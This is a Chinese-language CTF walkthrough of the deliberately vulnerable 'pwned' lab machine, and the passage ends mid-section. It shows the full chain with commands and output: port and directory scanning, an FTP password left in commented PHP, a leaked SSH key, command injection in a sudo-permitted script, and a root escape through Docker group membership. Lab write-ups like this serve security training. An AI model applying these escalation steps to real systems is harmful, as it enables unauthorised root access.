一、信息收集

1.1 主机发现

使用 arp-scan 扫描局域网内的存活主机,定位目标靶机:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.237 08:00:27:b9:99:eb       PCS Systemtechnik GmbH
...

确定目标 IP 地址为 192.168.205.237

1.2 端口扫描

对目标进行全端口扫描,发现开放的服务:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.237
...
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
...

开放端口及服务:

1.3 FTP 服务探测

尝试使用匿名用户登录 FTP,但被拒绝:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ftp anonymous@192.168.205.237
...
530 Permission denied.
ftp: Login failed

结论: FTP 服务不允许匿名访问,需要有效凭证。


二、Web 应用渗透

2.1 首页信息收集

访问 Web 服务,获取首页内容:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.237 -v
...
<h1>  vanakam nanba (Hello friend) </h1>
...
A last note from Attacker :)
I am Annlynn. I am the hacker hacked your server...
Before finding me investigate your employees first.
...
<!-- I forgot to add this on last note
     You are pretty smart as i thought 
     so here i left it for you 
     She sings very well. l loved it  -->

关键信息:

2.2 目录枚举

2.2.1 初步扫描

使用 dirsearch 进行目录扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dirsearch -q -u 192.168.205.237
...
[19:53:27] 200 -   41B  - http://192.168.205.237/robots.txt
...

2.2.2 robots.txt 分析

查看 robots.txt 文件内容:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.237/robots.txt
# Group 1
User-agent: *
Allow: /nothing

访问 /nothing 目录:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.237/nothing/
...
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="nothing.html">nothing.html</a></td>...

查看 nothing.html

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.237/nothing/nothing.html
<h1>i said nothing bro </h1>
<!--I said nothing here. you are wasting your time i don't lie-->

结论: 这是个干扰路径,无有效信息。

2.2.3 深度目录扫描

使用 gobuster 配合大字典进行深度扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ gobuster dir -u 192.168.205.237 -k -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak -t 64
...
/hidden_text          (Status: 301) [Size: 324] [--> http://192.168.205.237/hidden_text/]
...

2.2.4 发现隐藏字典

访问 /hidden_text 目录,发现 secret.dic 文件:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.237/hidden_text/secret.dic
/hacked
/vanakam_nanba
/hackerman.gif 
/pwned
/hacked.vuln
/users.vuln
/passwd.vuln
/pwned.vuln
/backup.vuln
/.ssh
/root
/home
...

知识点: 自定义字典文件常用于引导渗透测试方向,应将其下载作为后续扫描的字典。

2.3 基于自定义字典的扫描

下载字典文件并使用 gobuster 进行定向扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ curl http://192.168.205.237/hidden_text/secret.dic -O

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ gobuster dir -u 192.168.205.237 -k -w secret.dic -x php,txt,html,zip,db,bak -t 64
...
/pwned.vuln           (Status: 301) [Size: 323] [--> http://192.168.205.237/pwned.vuln/]
...

2.4 发现登录页面及凭证

访问 /pwned.vuln 目录,发现登录页面及注释中的凭证:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ curl http://192.168.205.237/pwned.vuln/ | sed '/<style>/,/<\/style>/d'
...
<h1> vanakam nanba. I hacked your login page too with advanced hacking method</h1>
...
<?php
//      if (isset($_POST['submit'])) {
//              $un=$_POST['username'];
//              $pw=$_POST['password'];
//
//      if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {
//              echo "welcome"
//              exit();
// }
...
?>

获取凭证:

知识点: 开发人员有时会在源代码注释中留下测试凭证或敏感信息,应仔细检查 HTML、JavaScript 源码。


三、FTP 服务利用

3.1 登录 FTP

使用获取的凭证登录 FTP 服务:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ftp ftpuser@192.168.205.237
...
230 Login successful.
ftp> ls
drwxr-xr-x    2 0        0            4096 Jul 10  2020 share

3.2 下载敏感文件

进入 share 目录,发现 SSH 私钥和提示文本:

ftp> cd share
ftp> ls
-rw-r--r--    1 0        0            2602 Jul 09  2020 id_rsa
-rw-r--r--    1 0        0              75 Jul 09  2020 note.txt

ftp> mget *
mget id_rsa [anpqy?]? y
...
mget note.txt [anpqy?]? y
...

查看提示文本:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ cat note.txt
Wow you are here 
ariana won't happy about this note 
sorry ariana :( 

关键信息: 用户名可能是 ariana


四、SSH 登录与横向移动

4.1 SSH 私钥登录

配置私钥权限并尝试登录:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ cp id_rsa /tmp/id_rsa
└─$ chmod 600 /tmp/id_rsa

└─$ ssh root@192.168.205.237 -i /tmp/id_rsa
root@192.168.205.237's password:    # 需要密码,失败

└─$ ssh ariana@192.168.205.237 -i /tmp/id_rsa
...
ariana@pwned:~$ id
uid=1000(ariana) gid=1000(ariana) groups=1000(ariana),...

4.2 权限提升探测

检查 sudo 权限:

ariana@pwned:~$ sudo -l
User ariana may run the following commands on pwned:
    (selena) NOPASSWD: /home/messenger.sh

发现: ariana 可以以 selena 用户身份无密码执行 /home/messenger.sh 脚本。

4.3 脚本分析与利用

查看脚本内容:

ariana@pwned:~$ cat /home/messenger.sh
#!/bin/bash
...
read -p "Enter username to send message : " name 
read -p "Enter message for $name :" msg
echo "Sending message to $name "
$msg 2> /dev/null
...

漏洞分析: 脚本直接执行用户输入的 $msg 变量,存在命令注入漏洞。

利用过程:

ariana@pwned:~$ sudo -u selena /home/messenger.sh
...
Enter username to send message : /bin/bash
Enter message for /bin/bash :/bin/bash
...
id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)

知识点: 当脚本不当处理用户输入并直接执行时,可通过输入 /bin/bash/bin/sh 等命令获取 shell。

4.4 稳定 Shell

获取稳定的交互式 Shell:

script /dev/null -c bash
Script started, file is /dev/null
selena@pwned:/home/ariana$ id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)

五、Docker 逃逸提权

5.1 发现 Docker 组权限

检查当前用户组:

selena@pwned:/home/ariana$ id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)

关键发现: selena 用户属于 docker 组。

知识点: Docker 组成员可以无需 root 权限运行容器,通过挂载宿主机文件系统可实现权限提升。

5.2 列出 Docker 镜像

查看可用的 Docker 镜像:

selena@pwned:/home/ariana$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
privesc             latest              09ae39f0f8fc        5 years ago         88.3MB
alpine              latest              a24bb4013296        5 years ago         5.57MB
debian              wheezy              10fcec6d95c4        6 years ago         88.3MB

5.3 利用 Docker 提权至 Root

使用 alpine 镜像挂载宿主机根目录:

selena@pwned:/home/ariana$ docker run -v /:/mnt --rm -it alpine chroot /mnt bash
root@a0d013691f32:/# id
uid=0(root) gid=0(root) groups=0(root),...

命令解析: